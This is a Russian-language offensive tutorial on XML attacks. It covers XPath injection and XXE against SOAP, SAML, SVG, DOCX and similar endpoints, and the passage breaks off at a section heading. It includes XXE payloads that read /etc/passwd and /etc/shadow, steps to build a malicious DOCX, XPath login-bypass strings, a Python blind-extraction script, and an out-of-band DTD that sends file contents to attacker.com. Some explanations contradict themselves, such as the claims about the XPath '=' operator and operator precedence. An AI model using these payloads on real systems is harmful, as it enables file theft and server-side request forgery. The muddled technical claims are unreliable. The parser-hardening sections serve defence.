Статья Атаки на XML-структуры: XPath Injection и XXE на практике

1773939723708.webp
Почему в 2026 году XML всё ещё вызывает мигрень у безопасников?
XML жив, и он прячется там, где ты его не ждёшь.

SOAP-сервисы с документацией из 2005-го, SAML-федерации, которые настраивал стажёр, конфиги в XML-формате, которые тянутся из каменного века. И где-то в глубине всего этого - парсер, который доверяет всему, что ему скормили.

Знаешь, есть такой мем: «Каждый раз, когда кто-то объявляет технологию мёртвой, она устраивается на работу в корпорацию». XML - идеальный пример. На конференциях нам рассказывают про JSON:API, про Protobuf, про FlatBuffers. Все хвалят скорость, простоту, безопасность. А в это время где-то в подвалах банков, страховых компаний и государственных учреждений спокойно работают SOAP-сервисы, написанные в 2003 году. Они обрабатывают миллионы транзакций, и никому не приходит в голову их переписывать. Потому что это будет стоить миллионы долларов и годы тестирования. Зачем что-то менять, если оно и так работает?


1. XML Attack Surface: Где искать и как не пройти мимо​

Прежде чем мы начнём долбить парсеры, нужно понять, где вообще может прятаться XML. Многие современные пентестеры сканируют порты, видят 80/443, запускают Dirb, находят пару PHP-скриптов и рапортуют «уязвимостей нет». А потом приходит чувак, который знает, где искать XML, и уносит базы данных.

1.1. Где встречается XML: карта местности​

Прежде чем мы начнём долбить парсеры и вставлять свои сущности, надо понять, где вообще искать XML в дикой природе. Это как с грибами: если не знаешь, где растут белые, можно весь лес обойти и ничего не найти. Я покажу тебе самые грибные места, расскажу, как они выглядят в трафике, как их обнаружить и на что обращать внимание.

1.1. Где встречается XML: полный расклад по местности​

XML не валяется под ногами, как JSON в современных REST API. Он прячется в специфических протоколах, форматах и legacy-системах. Но если знать, где копать, находки будут регулярными.

SOAP API - классика жанра​

Simple Object Access Protocol (SOAP) - это протокол обмена сообщениями на основе XML. Он был стандартом для веб-сервисов в нулевых, и многие корпоративные системы до сих пор его используют. Как правило, SOAP-сервисы описаны через WSDL (Web Services Description Language) - это тоже XML-документ, который определяет доступные методы, типы данных и эндпоинты.

Где искать SOAP:
  • Поддомены и пути: /soap, /services, /api/soap, /ws, /endpoint, /Service.svc (для WCF), /Service.asmx (для старых ).
  • Часто WSDL доступен по добавлению ?wsdl к эндпоинту: .
  • В ответ на POST-запрос с Content-Type: text/xml сервер может вернуть SOAP Fault с описанием ошибки.
  • SOAP-сервисы могут быть скрыты за общим API-шлюзом, но их можно обнаружить через анализ JavaScript (редко) или через старые ссылки в Wayback Machine.
Как выглядит SOAP-запрос:

XML:
POST /services/LoginService HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:authenticate"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Authenticate xmlns="http://tempuri.org/">
      <username>admin</username>
      <password>12345</password>
    </Authenticate>
  </soap:Body>
</soap:Envelope>

Ответ может содержать результат в XML или SOAP Fault.

Почему SOAP интересен:
SOAP-сервисы часто используют сложные XML-схемы и редко обновляются. В них можно найти XPath Injection, если внутри сервера данные извлекаются XPath-запросами, а также XXE, если парсер не отключает внешние сущности. Плюс SOAPAction - иногда уязвим для манипуляций (например, можно подставить другую операцию).

SAML SSO - врата в корпоративный рай​

SAML (Security Assertion Markup Language) - это XML-формат для обмена данными аутентификации и авторизации между Identity Provider (IdP) и Service Provider (SP). Используется в Single Sign-On решениях: Okta, ADFS, Keycloak, Shibboleth и других.

Где искать SAML:
  • В HTML-формах входа: после ввода логина/пароля на IdP, браузер отправляет POST-запрос на SP с параметром SAMLResponse. Этот параметр содержит base64-encoded XML.
  • В URL при Redirect binding: параметр SAMLRequest или SAMLResponse в строке запроса, тоже base64.
  • Эндпоинты: /saml, /Shibboleth.sso, /auth/saml, /sso, /adfs/ls/ (для ADFS).
Как выглядит SAML-респонс (после декодинга):

XML:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ...>
    <saml:Subject>
      <saml:NameID>john.doe@example.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Почему SAML лакомый кусок:
SAML-сообщения часто подписываются, но подпись проверяется после парсинга XML. Если парсер уязвим для XXE, мы можем добавить DOCTYPE в начало сообщения, и подпись останется валидной (DOCTYPE не входит в подписываемые данные). Таким образом, можно читать файлы или делать SSRF через SAML-эндпоинт. Кроме того, некоторые реализации не проверяют подпись вообще или допускают атаки на XML Signature Wrapping.

RSS/Atom ленты - подписка на компрометацию​

RSS (Really Simple Syndication) и Atom - форматы синдикации контента, основанные на XML. Многие сайты предоставляют ленты новостей, блогов, подкастов. Функция импорта RSS позволяет пользователю ввести URL фида, и сервер загружает и парсит этот XML.

Где искать RSS/Atom:
  • Страницы с иконками RSS, ссылками на /feed, /rss, /atom.xml.
  • В админке CMS: импорт фидов, агрегаторы новостей.
  • В настройках подкаст-плееров, если они веб-ориентированные.
Как выглядит RSS-фид:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Example Feed</title>
    <link>http://example.com/</link>
    <description>Latest news</description>
    <item>
      <title>News 1</title>
      <link>http://example.com/news1</link>
    </item>
  </channel>
</rss>

Угроза:
Если сервер загружает фид по URL, который мы контролируем, мы можем подставить свой XML-документ, содержащий XXE. Сервер скачает его и обработает, что приведёт к чтению файлов или SSRF. Даже если фид кешируется, первая загрузка может быть опасна.

SVG-картинки - вектор в векторном формате​

SVG (Scalable Vector Graphics) - это XML-формат для описания векторной графики. Поддерживается всеми браузерами, но нас интересует серверная обработка: генерация превью, конвертация в PNG, извлечение метаданных, проверка на вредоносность.

Где искать SVG:
  • Загрузка аватарок, логотипов, иконок.
  • Функции генерации изображений на лету (например, создание графика).
  • Конвертеры изображений (SVG в PNG, JPG).
Как выглядит SVG с XXE-потенциалом:

XML:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100">
  <text x="10" y="20">&xxe;</text>
</svg>

Если сервер рендерит SVG, текст может появиться на изображении. Даже если не появляется, парсер может обработать сущность и выполнить запрос.

Особенность:
В SVG можно использовать тег image с атрибутом xlink:href, указывающим на внешний ресурс. Это даёт SSRF без XXE: просто вставляем image xlink:href=" "/. Некоторые парсеры обрабатывают это.

Office Open XML (DOCX, XLSX, PPTX) - троянский конь в документе​

Форматы Microsoft Office (начиная с 2007) - это ZIP-архивы, содержащие множество XML-файлов. Например, в DOCX есть word/document.xml, word/styles.xml, docProps/core.xml и другие. Любой сервис, работающий с документами (конвертация в PDF, извлечение текста, проверка на вирусы, индексация), распаковывает эти архивы и парсит XML.

Где искать обработку Office-документов:
  • Веб-приложения для просмотра документов (Google Docs, Office Online).
  • HR-системы, принимающие резюме в DOCX.
  • Сервисы конвертации файлов.
  • Платформы для совместной работы (SharePoint, ownCloud).
  • Антивирусные шлюзы, сканирующие вложения.
Как создать вредоносный DOCX:
  1. Создаём обычный документ, сохраняем как DOCX.
  2. Распаковываем: unzip doc.docx -d doc_unpacked.
  3. В файле word/document.xml перед корневым элементом w:document вставляем DOCTYPE с внешней сущностью, ссылающейся на файл или URL.
  4. В тело документа добавляем ссылку на сущность, например, в текст.
  5. Запаковываем обратно: cd doc_unpacked &amp;&amp; zip -r ../malicious.docx *.
При загрузке такого документа на сервер, если XML-парсер уязвим, мы получим либо чтение файлов, либо SSRF.

Конфигурационные файлы - настройки, которые нас настраивают​

Многие приложения позволяют импортировать или экспортировать конфигурации в XML. Это могут быть настройки системы, правила, маппинги. Также конфиги могут читаться при старте приложения из внешних источников.

Где искать импорт конфигов:
  • Админ-панели: разделы "Импорт/экспорт", "Резервное копирование".
  • API для управления конфигурацией.
  • Загрузка файлов с расширением .xml в специальные разделы.
Пример уязвимости:
Если конфигурационный XML содержит внешнюю сущность, и парсер её обрабатывает, можно прочитать файлы сервера. Например, импорт настроек с !ENTITY xxe SYSTEM "file:///etc/shadow".

XML-RPC - старый конь​

XML-RPC - протокол удалённого вызова процедур, использующий XML для кодирования запросов и HTTP в качестве транспорта. Использовался в различных CMS, например, в WordPress (xmlrpc.php). До сих пор включён по умолчанию во многих установках WordPress.

Где искать XML-RPC:
  • Пути: /xmlrpc.php, /xmlrpc, /RPC2.
  • В WordPress также используется для pingback-атак.
Как выглядит XML-RPC запрос:

XML:
<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param>
      <value><string>admin</string></value>
    </param>
    <param>
      <value><string>password</string></value>
    </param>
  </params>
</methodCall>

Потенциал:
Через XML-RPC можно не только вызывать методы, но и попытаться внедрить XXE, если парсер уязвим. Также XML-RPC может быть использован для брутфорса, DoS (pingback-флуд), SSRF (через pingback).

Прочие XML-форматы​

  • XSLT (eXtensible Stylesheet Language Transformations) - используется для преобразования XML в другие форматы. Если приложение позволяет загружать произвольные XSLT-стили, можно выполнить код (XSLT-инъекции, XXE).
  • XLIFF - формат для локализации.
  • FPML - финансовый протокол.
  • XBRL - отчётность.
  • OpenDocument (ODT, ODS) - форматы OpenOffice, тоже XML в ZIP.
Если хочется посмотреть на XML-атаки не только через список форматов вроде SOAP, SAML и SVG, а через саму логику XXE и поведение уязвимых парсеров, пригодится это руководство: XXE уязвимости.

1.2. XML-парсеры и их конфигурации: кто есть кто и чем дышит​

Теперь, когда мы знаем, где искать XML, надо понять, что внутри этих приложений крутится. Разные языки и библиотеки по-разному обрабатывают XML, и уязвимости часто зависят от того, как настроен парсер. Давай пройдёмся по основным стекам.

Java​

В Java XML обрабатывается через JAXP (Java API for XML Processing). Основные способы парсинга:
  • DOM (Document Object Model) - загружает весь документ в память, строит дерево. Класс DocumentBuilder из DocumentBuilderFactory.
  • SAX (Simple API for XML) - событийно-ориентированный, не хранит документ в памяти. Использует SAXParser.
  • StAX (Streaming API for XML) - потоковый, с курсором. XMLInputFactory.
  • XPath - выполнение запросов к XML, часто использует DOM под капотом.
Настройки безопасности:

Уязвимости XXE возникают, если включена обработка DTD и внешних сущностей. В Java за это отвечают фичи (features) парсера.

Для DocumentBuilderFactory:

Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Отключаем DOCTYPE полностью (самый безопасный вариант)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Отключаем внешние сущности
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Также можно отключить загрузку DTD
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

Важно:
  • По умолчанию в старых JDK (до 7u40, 8u20) внешние сущности включены.
  • Даже если отключены внешние сущности, может оставаться возможность XXE через параметрические сущности, если не отключены external-parameter-entities.
  • Некоторые разработчики используют setXIncludeAware(true), что может привести к XInclude-атакам (загрузка внешних файлов через xi:include). XInclude тоже надо отключать.
SAXParser имеет аналогичные настройки через SAXParserFactory.

XPath при использовании XPath.evaluate() с документом, полученным из небезопасного парсера, наследует его уязвимости.

Python​

В Python несколько популярных библиотек:
  • xml.etree.ElementTree (встроенная) - уязвима по умолчанию до Python 3.7? Начиная с 3.7.1, предупреждает, но не отключает. В любом случае, надо использовать defusedxml.
  • lxml - сторонняя, мощная, но по умолчанию обрабатывает внешние сущности. Можно отключить через парсер: parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
  • minidom, sax - встроенные, уязвимы.
  • defusedxml - специально созданная для безопасной работы с XML, заменяет стандартные модули. Если разработчик её использует, то скорее всего безопасно. Но многие даже не знают о её существовании.
Пример уязвимого кода на Python:

Python:
from lxml import etree
xml = """<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>"""
root = etree.fromstring(xml)  # по умолчанию загрузит внешнюю сущность
print(root.text)

Безопасный вариант:

Python:
parser = etree.XMLParser(resolve_entities=False, no_network=True)
root = etree.fromstring(xml, parser)

PHP​

PHP использует libxml2. Функции: simplexml_load_string, DOMDocument::loadXML, xml_parse и другие. Загрузка внешних сущностей контролируется функцией libxml_disable_entity_loader().

Пример уязвимости:

PHP:
$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml);  // если внешние сущности не отключены, то XXE сработает
echo $doc->data;

Безопасно:

PHP:
libxml_disable_entity_loader(true);
$doc = simplexml_load_string($xml);

Важно:
  • В PHP до версии 8.0 функция libxml_disable_entity_loader влияет только на загрузку внешних сущностей, но не на парсинг DTD. DTD всё равно может быть обработан, и если в нём есть параметрические сущности, они могут быть раскрыты. Полное отключение DTD возможно через опции парсера, например LIBXML_NOENT и LIBXML_DTDLOAD могут быть опасны.
  • Начиная с PHP 8.0, поведение по умолчанию изменилось: внешние сущности отключены, но это касается новых функций? Надо проверять.

.NET (C#)​

В .NET XML обрабатывается классами XmlDocument, XDocument (LINQ to XML), XmlReader, XmlTextReader. Настройки безопасности задаются через XmlReaderSettings.

Пример уязвимого кода:

C#:
XmlDocument doc = new XmlDocument();
doc.LoadXml(xml);  // по умолчанию может загружать внешние сущности в старых версиях

Безопасно:

C#:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;  // запрет DTD
settings.XmlResolver = null;  // отключаем разрешение внешних ресурсов
using (XmlReader reader = XmlReader.Create(new StringReader(xml), settings))
{
    XmlDocument doc = new XmlDocument();
    doc.Load(reader);
}

Примечание:
  • В .NET Framework 4.5.2 и выше по умолчанию XmlResolver равен null для XmlDocument.Load, но не для всех перегрузок.
  • XDocument (LINQ to XML) также требует настройки через XmlReader.

Ruby​

В Ruby популярны библиотеки REXML (встроенная) и Nokogiri. Обе уязвимы по умолчанию.

REXML: нужно отключать внешние сущности через REXML::Document.entity_expansion_limit, но это не защищает от XXE полностью. Лучше использовать Nokogiri с настройками.

Nokogiri:

Ruby:
doc = Nokogiri::XML.parse(xml) do |config|
  config.options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::DTDLOAD
end

Это включает обработку сущностей, что опасно. Безопасно: config.options = Nokogiri::XML::ParseOptions::NONET (запрет сети) + отключение DTD.

Go​

Встроенный пакет encoding/xml не поддерживает DTD и внешние сущности. Это большая удача, потому что Go из коробки безопасен от XXE. Однако, если используются сторонние библиотеки, например xmlquery или xpath, которые могут подключать другие парсеры, надо проверять.

Node.js​

В Node.js популярны модули libxmljs, xml2js, xmldom. Многие из них уязвимы по умолчанию.
  • libxmljs: можно отключить сущности через опции.
  • xml2js: использует sax-парсер, который может быть уязвим.
  • xmldom: уязвим, если не отключить сущности.
Пример безопасного использования libxmljs:

JavaScript:
const libxmljs = require('libxmljs');
const xml = '...';
const doc = libxmljs.parseXml(xml, { noent: false, dtdload: false }); // noent: false отключает замену сущностей

1.3. Тестирование: обнаружение XML-processing endpoints​

Теперь самая весёлая часть - как найти эти эндпоинты в реальном приложении. Я поделюсь методами, которые использую сам.

Анализ трафика в Burp Suite / ZAP​

Это база. Включаем перехват, ходим по сайту, смотрим на все запросы и ответы. Нас интересуют:
  • Content-Type: text/xml, application/xml, application/soap+xml, application/rss+xml, image/svg+xml.
  • POST-запросы с XML в теле (даже если Content-Type не указан, тело может быть XML - смотри на структуру).
  • Ответы, содержащие XML (например, SOAP Fault, RSS-ленты).
Также обращай внимание на параметры, которые могут содержать base64-encoded XML: в SAML это часто SAMLResponse, в некоторых API - request или data.

Фаззинг путей​

Используй словари для поиска распространённых XML-эндпоинтов. В SecLists есть хорошие подборки: Discovery/Web-Content/soap.txt, Discovery/Web-Content/common_soap_paths.txt, Discovery/Web-Content/saml.txt. Можно использовать ffuf или dirb.

Пример с ffuf:

Bash:
ffuf -u https://target.com/FUZZ -w /path/to/soap.txt -mc all -fc 404
Также можно фаззить параметры: добавлять ?wsdl, ?disco к найденным сервисам.

Поиск в JavaScript​

Иногда фронтенд формирует XML-запросы динамически. Ищи в JS-файлах строки: xml, soap, saml, "text/xml", "application/xml", "?xml". Часто можно найти эндпоинты, которые не видны в обычном HTML.

Используй инструменты типа LinkFinder или просто grep по загруженным JS.

Wayback Machine и архивы​

Сайты могли иметь XML-эндпоинты в прошлом, которые до сих пор работают. Используй waybackurls или gau (GetAllUrls) для сбора исторических URL.

Bash:
gau target.com | grep -E "\.xml|wsdl|soap|saml|rss|atom"

Анализ robots.txt и sitemap.xml​

Иногда в robots.txt запрещают доступ к служебным путям, включая XML-эндпоинты. sitemap.xml сам по себе XML и может содержать ссылки на другие XML.

Ручное тестирование​

Если есть подозрение на эндпоинт, отправь простой XML-запрос и посмотри на реакцию.

Например, отправь на любой эндпоинт, который ожидает POST:

XML:
<?xml version="1.0"?>
<test>hello</test>

Если вернётся ошибка парсинга (например, "XML parse error", "Content is not allowed in prolog", "Document is empty"), значит, эндпоинт обрабатывает XML. Если вернётся 400 Bad Request или что-то другое, возможно, это не XML-эндпоинт.

Для SOAP можно отправить корректный конверт с несуществующим методом:

XML:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <test/>
  </soap:Body>
</soap:Envelope>

Часто в ответ придёт SOAP Fault, подтверждающий, что это SOAP-сервис.

Использование специализированных инструментов​

  • Burp Extensions: есть плагины для поиска XXE (например, "XXE Detector"), но они часто не работают. Лучше самому написать простой экстендер, который отправляет тестовые пейлоады.
  • OpenVAS/Nessus: могут детектить известные XML-уязвимости, но это шумно.
  • wfuzz с XML-пейлоадами: можно подставлять в параметры простые XML-инъекции.

Проверка на XXE и XPath на этапе разведки​

Когда нашёл потенциальный XML-эндпоинт, можно сразу попробовать базовые пейлоады. Но будь осторожен: некоторые пейлоады могут вызвать отказ в обслуживании (например, Billion Laughs). Лучше начинать с безобидных:

XML:
<!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/hosts">]><root>&test;</root>
Если в ответе видишь содержимое /etc/hosts (или ошибку, которая его раскрывает), то уязвимость подтверждена. Если ошибка говорит о невозможности загрузить внешнюю сущность, значит, парсер их отключает. Но могут быть обходы.

Когда очевидные эндпоинты уже проверены, следующий шаг - искать старые и забытые точки входа там, где их часто оставляют сами разработчики: в архивах, индексах и служебных файлах. Об этом мы рассказали в нашем руководстве: Раскройте тайны веб-приложений: искусство поиска утечек с Google.

2. XPath Injection: Забытый аналог SQLi​

Пока все долбят SQL-инъекции, XPath Injection остаётся в тени. А зря. XPath - это язык запросов к XML-документам. Если приложение использует XPath для выборки данных из XML-файла (например, для аутентификации: //user[name='$username' and pass='$password']), и эти переменные подставляются без экранирования, мы можем манипулировать запросом.

2.1. Как это работает​

Представь XML-файл users.xml:

XML:
<?xml version="1.0"?>
<users>
  <user>
    <name>admin</name>
    <pass>s3cr3t</pass>
    <role>admin</role>
  </user>
  <user>
    <name>ivan</name>
    <pass>12345</pass>
    <role>user</role>
  </user>
</users>

На сервере выполняется XPath-запрос:

Код:
//user[name/text()='$username' and pass/text()='$password']
Если результат не пустой, пользователь считается аутентифицированным.

2.2. Authentication bypass​

Введём в username: ' or '1'='1 (и любой пароль). Запрос станет:

Код:
//user[name/text()='' or '1'='1' and pass/text()='anything']
Приоритет операторов: and выше, чем or. Но в XPath 1.0 приоритет такой же, как в языках программирования: сначала and, потом or. Поэтому запрос интерпретируется как:

Код:
//user[name/text()='' or ('1'='1' and pass/text()='anything')]
'1'='1' - true, если pass/text()='anything' - false для всех, то условие внутри and ложно, и остаётся name/text()='', что тоже обычно ложно. Такой вариант не сработает. Надо ставить скобки прямо в инъекции, но мы не можем вставить скобки, которые изменят приоритет? Можем, если движок позволяет. Но часто проще использовать ' or true() or ':

Код:
//user[name/text()='' or true() or '' and pass/text()='anything']
Здесь or true() делает весь предикат истинным для любого узла, потому что true() всегда true. Такой запрос вернёт всех пользователей. Бинго, мы зашли под первым пользователем (обычно admin).

Ещё вариант: ' or '1'='1' or 'x'='x - сбалансировать кавычки. Пример: username: ' or '1'='1, password: ' or '1'='1. Тогда:

Код:
//user[name/text()='' or '1'='1' and pass/text()='' or '1'='1']
С учётом приоритета: сначала and: '1'='1' and pass/text()='' - будет true только если pass пустой. Не наш метод.

Лучше использовать true(). Или 1 or 1 - в XPath число >0 считается true. Можно 1 вместо true().

Универсальный пейлоад для обхода: ' or 1=1 or ''='. В XPath нет оператора =, он называется eq, но в XPath 1.0 можно использовать = для сравнения строк? Да, = сравнивает строки. Но 1=1 - это сравнение чисел. В XPath 1.0 1=1 вернёт true. Так что ' or 1=1 or ''=' превратится в:

Код:
name/text()='' or 1=1 or ''='' and pass/text()='...'
Здесь 1=1 true, и весь предикат true. Работает.

Важно: XPath регистрозависимый. True() не то же самое, что true(). В XPath функции пишутся в нижнем регистре.

Пока все привыкли смотреть только в сторону SQLi, XPath-инъекции часто проходят мимо, хотя логика эксплуатации у них не менее интересная. Если хочется глубже разобраться именно в практической стороне XPath, пригодится этот материал: Техника быстрой эксплуатации XPath error based.

2.3. Blind XPath Injection​

Если результат запроса не отображается напрямую (например, приходит только true/false: перенаправление на страницу успеха или ошибка), мы имеем дело с Boolean-based blind XPath injection. Это аналог Boolean-based SQLi.

Нужно извлечь данные посимвольно. Для этого используем функции string-length() и substring() (или substring-before, substring-after в XPath 1.0).

Предположим, XML хранит данные, которые мы хотим вытащить. Например, есть узлы //user/name. Мы хотим узнать имена пользователей.

Алгоритм:
  1. Определить количество узлов: например, count(//user). Отправляем запрос с условием, которое возвращает true, если число больше N.
  2. Для каждого узла извлекаем длину строки: string-length(//user[position()=1]/name) X.
  3. Извлекаем символы: substring(//user[position()=1]/name, 1, 1) = 'a'.
Но нужно уметь преобразовывать символы в числа, чтобы сравнивать. Можно использовать сравнение строк: substring(...) = 'a'. Или использовать codepoints-to-string (в XPath 2.0), но чаще XPath 1.0.

Для XPath 1.0 есть функция translate() и работа с числами, но проще подбирать символы по одному.

Практический пример. Есть приложение с SOAP-методом login, который принимает XML:

XML:
<soap:Envelope ...>
  <soap:Body>
    <login>
      <username>INJECT_HERE</username>
      <password>xxx</password>
    </login>
  </soap:Body>
</soap:Envelope>

Ответ может быть либо true (успешный вход), либо false (ошибка). Используем это как оракул.

Пишем Python-скрипт для извлечения данных:

Python:
import requests
import string

url = "http://target.com/soap/endpoint"
headers = {"Content-Type": "text/xml"}

# Функция для отправки пейлоада и получения true/false
def oracle(payload):
    xml = f"""<?xml version="1.0"?>
<soap:Envelope ...>
  <soap:Body>
    <login>
      <username>{payload}</username>
      <password>xxx</password>
    </login>
  </soap:Body>
</soap:Envelope>"""
    resp = requests.post(url, data=xml, headers=headers)
    # Допустим, успех определяется наличием строки "true" в ответе
    return "true" in resp.text

# Определяем количество пользователей
for i in range(1,10):
    payload = f"' or count(//user)={i} or '"
    if oracle(payload):
        print(f"Number of users: {i}")
        break

# Определяем длину имени первого пользователя
for length in range(1,30):
    payload = f"' or string-length(//user[1]/name)={length} or '"
    if oracle(payload):
        print(f"Length of first username: {length}")
        break

# Извлекаем имя посимвольно
charset = string.ascii_letters + string.digits + "._-"
username = ""
for pos in range(1, length+1):
    for c in charset:
        payload = f"' or substring(//user[1]/name, {pos}, 1)='{c}' or '"
        if oracle(payload):
            username += c
            print(f"Found: {username}")
            break
print(f"Username: {username}")

В реальности нужно учитывать, что кавычки в пейлоаде могут сломать XML. В SOAP-запросе мы уже внутри значения тега, поэтому наши кавычки экранировать не надо, если они не конфликтуют с парсером XML. Но если в ответе используются одинарные кавычки для атрибутов, может потребоваться экранирование. В XPath строки можно заключать и в двойные кавычки. Лучше использовать чередование: если внешние кавычки двойные, внутри используем одинарные.

2.4. Инструменты для XPath Injection​

Есть специализированные тулы, но они часто устарели. Например, xcat (аналог sqlmap для XPath). Но sqlmap тоже умеет детектить XPath инъекции (с модулем --technique=B). Однако вручную часто надёжнее.

Я обычно пишу скрипты на Python под конкретный случай. Если лень писать самому, можно попробовать Burp Intruder с набором пейлоадов для Boolean-based. Но лучше автоматизировать.

2.5. Особенности XPath в разных реализациях​

  • XPath 1.0 vs 2.0/3.0: В новых версиях больше функций, но в вебе чаще 1.0.
  • Регистрозависимость: функции в нижнем регистре.
  • Типы: строки сравниваются с числами, происходит преобразование. '5' = 5 вернёт true.
  • Обработка пустых узлов: если узла нет, string-length() вернёт 0? Нет, вызов на пустом наборе вернёт пустой набор, а сравнение с числом может привести к false. Лучше проверять существование через boolean(//user[1]).

2.6. Error-based XPath​

Если ошибки парсинга XPath выводятся пользователю (например, в SOAP Fault), можно использовать их для извлечения данных. Например, вызвать деление на ноль: 1 div 0 - ошибка? В XPath нет деления на ноль, но можно использовать некорректную функцию. Или использовать функцию doc() для загрузки документа, которого нет - может вернуть ошибку с путём. Но это редкость.

2.7. XPath Injection в RESTful API​

Иногда XML передаётся в теле POST-запроса с Content-Type: application/xml. Там также возможна инъекция. Ищи параметры, которые подставляются в XPath.


3. XXE Exploitation: Вскрываем внешние сущности​

XXE (XML External Entity) - это когда парсер обрабатывает DTD и подгружает внешние ресурсы. Классика: читаем файлы, делаем SSRF, а иногда и RCE.

3.1. Classic XXE: Чтение файлов​

Простой пример уязвимого XML-парсера:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Если приложение вернёт содержимое /etc/passwd внутри тега data - уязвимость подтверждена.

Но не всегда ответ содержит значение сущности. Иногда её вставляют в атрибут, или парсер может её не раскрывать. Тогда пробуем другие варианты.

3.2. SAML XXE: Атака на Identity Provider / Service Provider​

SAML Response выглядит примерно так:

XML:
<samlp:Response ...>
  <saml:Assertion ...>
    ...
  </saml:Assertion>
</samlp:Response>

Это XML. Если Service Provider (SP) парсит его без отключения внешних сущностей, мы можем внедрить DTD в начало (перед корневым элементом). Проблема: SAML-сообщение часто подписано, но если проверка подписи отключена (бывает) или выполняется после парсинга, мы можем внедрить сущность, которая не нарушит подпись? Подпись обычно покрывает всё сообщение, и изменение содержимого сломает подпись. Однако есть нюансы:
  • Подпись проверяется после парсинга: если парсер раскрыл сущности, подпись может быть проверена по расширенному документу, но оригинальный XML с DTD не подписан? В SAML подписывается Assertion или Response, а DTD находится вне подписи (до корневого элемента). DTD не является частью подписываемого контента, поэтому подпись остаётся валидной, но парсер обработает DTD до проверки подписи. То есть мы можем добавить DOCTYPE с внешней сущностью, и подпись останется корректной, если мы не меняем содержимое подписанных элементов. Это работает, если парсер не отбрасывает DOCTYPE как невалидный. Многие SAML-библиотеки ожидают строго определённый формат и могут упасть, если увидят DOCTYPE. Но если парсер позволяет DOCTYPE, то мы можем провести атаку.
Пример SAML Response с XXE:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ...>
  <saml:Assertion ...>
    ...
  </saml:Assertion>
</samlp:Response>

Если SP вернёт содержимое файла в каком-то поле (например, в сообщении об ошибке), то мы получили файл. Но чаще сущность подставляется туда, где она будет отображена. Можно попробовать вставить её в какое-нибудь поле, которое выводится (например, saml:Attribute Name="uid";&amp;xxe;/saml:Attribute). Это требует модификации подписанного Assertion, что сломает подпись. Однако если подпись не проверяется, то всё ок.

В реальных пентестах я встречал ситуации, где Identity Provider (IdP) принимал SAML-запросы и парсил их. Можно было вставить XXE в SAML-запрос и получить SSRF в инфраструктуре IdP.

3.3. Out-of-Band XXE (OOB XXE)​

Когда ответ не возвращает содержимое сущности, можно использовать внешний канал. Для этого нам нужен свой сервер, который ловит запросы. Суть: определяем параметрическую сущность, которая загружает внешний DTD, а в нём уже другая сущность, которая отправляет данные на наш сервер.

Пример:

Злоумышленник размещает на своём сервере :

XML:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
%param1;

А в XML-запросе отправляем:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

Парсер загружает evil.dtd, в котором определяются параметрические сущности. %payload; читает файл, %param1; определяет новую сущность exfil, которая делает запрос на наш сервер, подставляя содержимое файла в URL. Проблема: URL может быть слишком длинным, данные надо кодировать. Вместо GET можно использовать DNS exfiltration или HTTP с телом, но через GET проще. Для длинных данных используют multipart или просто разбивают на части.

В Python можно написать сервер, который принимает и декодирует:

Python:
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass
    def do_GET(self):
        print("Got request:", self.path)
        self.send_response(200)
        self.end_headers()

server = HTTPServer(('0.0.0.0', 80), Handler)
server.serve_forever()

Но лучше использовать Burp Collaborator или свой сервер с логами.

3.4. XXE в SVG​

SVG - это XML. Если сайт позволяет загружать SVG и затем отображает его (или генерирует PNG), то может сработать XXE. Пример SVG:

XML:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text font-family="Verdana" font-size="16" x="0" y="16">&xxe;</text>
</svg>

Если сервер рендерит SVG в растровое изображение, текст с содержимым файла может появиться на картинке. Также можно использовать тег image с внешним источником, чтобы сделать SSRF.

3.5. XXE в DOCX​

